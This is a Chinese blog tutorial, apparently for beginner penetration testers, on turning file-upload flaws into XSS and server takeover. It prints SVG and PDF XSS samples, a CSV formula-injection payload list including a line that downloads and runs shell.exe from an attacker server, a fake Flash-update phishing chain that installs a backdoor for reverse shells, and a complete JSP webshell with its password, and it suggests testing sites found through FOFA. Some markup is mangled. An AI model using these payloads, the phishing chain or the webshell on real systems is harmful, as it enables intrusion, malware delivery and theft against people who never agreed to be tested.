文章目录
1 前言
哈喽,大家好!
这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容,然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼,然后后面很详细的介绍了文件上传和XSS漏洞的组合拳的好几种方式,后面也是通过对一个站点的测试,给师傅们演示了一波。后面给师傅们整理了下pdf木马制作的过程以及最后面分享下我一次在测文件上传最后也是getshell了。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
2 漏洞简介
一、文件上传原理
这里利用form表单标签和类型为file的Input标签来完成上传,要将表单数据编码格式置为 multipart/form-data 类型,这个编码类型会对文件内容在上传时进行处理,以便服务端处理程序解析文件类型与内容,完成上传操作。
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="请选择文件"><br />
<input type="submit">
form>
二、XSS原理
XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通常会在网页中插入恶意的 JavaScript 代码。由于服务器对输入数据的过滤和验证不严格,这些恶意的 JavaScript 代码会被当作响应的一部分返回给客户端。当浏览器解析来自服务器的响应时,它会执行这些恶意的 JavaScript 代码,从而导致攻击者能够执行恶意操作。
3 浅谈上传XSS的各种类型姿势
允许上传HTML或SVG
允许上传html或者svg都可以能导致xss,也能导致任意URL跳转,甚至还能导致SSRF(很难利用),因为核心还是js代码可控;
html造成XSS就不多说了,懂得都懂;
主要说说svg文件如何造成xss。
检查思路:
1.创建一个恶意的svg文件,输入如下内容:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="application/javascript">
alert('XSS Attack!');
script>
<polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
svg>
1.上传到文件中,并访问
可以看到已经成功弹窗出来了XSS漏洞
拓展:如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF
可尝试使用其他协议更直观的查看,如file://
允许上传PDF文件
可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。
可以直接使用工具生成:https://www.xunjiepdf.com/editor
也可以按照网上的操作,用迅捷PDF编辑器去操作,效果都一样
因为pdf一般是后端的组件,有的开发可能配置成 wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用
如果网站本身存在预览JS的地方,可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等。
允许上传CSV文件
如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。
CSV文件的Payload如下:
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
检查思路:
1.上传恶意的CSV文件
2.下载恶意的CSV文件
3.观察下载后的CSV文件是否对等号=等特殊符号做了处理,payloads会否会成功执行,如果能则说明存在问题
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
4 XSS之Flash弹窗钓鱼
一、基础环境准备
●Flash网站克隆源码:GitHub - hackxc/xss_flash: Xss之Flash钓鱼**
●生成后门并捆绑flash的安装程序
●VPS服务器,搭建好flash网站,下载地址要修改为构造好的后门文件。
●有XSS漏洞的网站:GitHub - r00tSe7en/Flash-Pop: Flash钓鱼弹窗优化版
二、具体钓鱼流程
1.找到可以插入一段JS代码的网站,如:存在存储xss漏洞。插入触发flash版本过低弹窗的JS代码:
1.目标点击确定后,跳转到伪造flash界面的VPS服务器
2.目标靶机点击下载并安装,触发后门反弹shell
修改version.js中弹窗的指向伪造Flash网站地址
window.alert = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert( "您的FLASH版本过低,尝试升级后访问该页面! ");
window. location.href="此处是伪造Flash网站地址";
模拟存在XSS网站的VPS服务器:index.html
DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Flash Test...title>
<script src='此处存在XSS网站的VPS服务器地址'>script>
head>
<body>
<h1>Flash Test...h1>
body>
html>
执行Flash钓鱼成功后,就会跳转到这个官方页面,然后需要你下载这个Flash软件,然后下载执行的exe,那么利用比如CS监听就可以上线成功了
5 制作pdf木马弹窗
一、浅谈
师傅们应该在平常的渗透测试的包括漏洞靶场复现中都应该打过文件上传打pdf木马之类的漏洞,然而在制作pdf木马中,我猜测很多师傅们都没有自己去尝试,下面我就来给师傅们演示下pdf木马的制作,然后后面给师傅们简单演示下XSS漏洞弹窗。
pdf编辑器下载地址如下:https://www.xunjiepdf.com/
1、直接打开然后新建空白页面,然后点击属性,然后点击右边的小点点
2、然后出现下面的选项框,点击新增js代码
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
3、写入app.alert(1);
js代码,然后保存到本地
4、然后我们利用FOFA引擎找到一个存在文件上传的站点,而且还能够解析pdf的站点,然后把我们刚才制作的木马上传上去,然后刷新我们的站点,可以看到我们的站点弹窗了
6 文件上传getshell
一、上传html储型XSS漏洞
1、先通过这个头像上传点,上传一张照片上去
2、尝试看看能否上传.html后缀的文件,因为可以上传html后缀的都是可以打一个存储型XSS的
这里改下该数据包的filename、Content-Type,发现可以成功上传html文件,那么接下来就是浏览器访问弹个xss了。
------WebKitFormBoundary4KIO2hZ55xAhk62B
Content-Disposition: form-data; name="file"; filename="kali_linux.html"
Content-Type: text.html
test
------WebKitFormBoundary4KIO2hZ55xAhk62B--
3、可以看到浏览器反弹XSS成功了
\------WebKitFormBoundaryybBAbhwqIL86Jdcn
Content\-Disposition: form\-data; name\="file"; filename\="test.html"
Content\-Type: text/html
alert(1)
\------WebKitFormBoundaryybBAbhwqIL86Jdcn\--
二、文件上传-getshell
经过上面的测试发现,这个网站对文件上传过滤不严,那么我们就可以尝试下文件上传,看看可以上传一句话木马,然后getshell嘛。
经审计,发现该小程序网站是Java框架搞的,那么我们就可以尝试上传jsp后缀的webshell编写的木马来尝试下getshell了。
1、尝试上传jsp代码,发现该代码直接被执行了。真的是逆天了,师傅们!一点过滤都没有,直接解析了,那么就说明他这个网站可以执行jsp代码,那我这不就可以上传jsp木马了嘛。
\------WebKitFormBoundaryybBAbhwqIL86Jdcn
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
alert(1)
\------WebKitFormBoundaryybBAbhwqIL86Jdcn--
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
2、上传jsp木马,使用蚁剑连接,getshell
jsp木马如下,蚁剑连接密码:passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
成功上传jsp木马,然后使用蚁剑成功连接,然后getshell了。
6 总结
这篇文章对于仪式内容的介绍和分享就到这里了,然后后面要是有什么问题和需要交流的地方,师傅们可以跟我讨论下,里面的一些案例包括各种的打都写的蛮详细的,对小白师傅比较友好哈!
最后,希望这篇文章对师傅们有帮助哈!!!
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~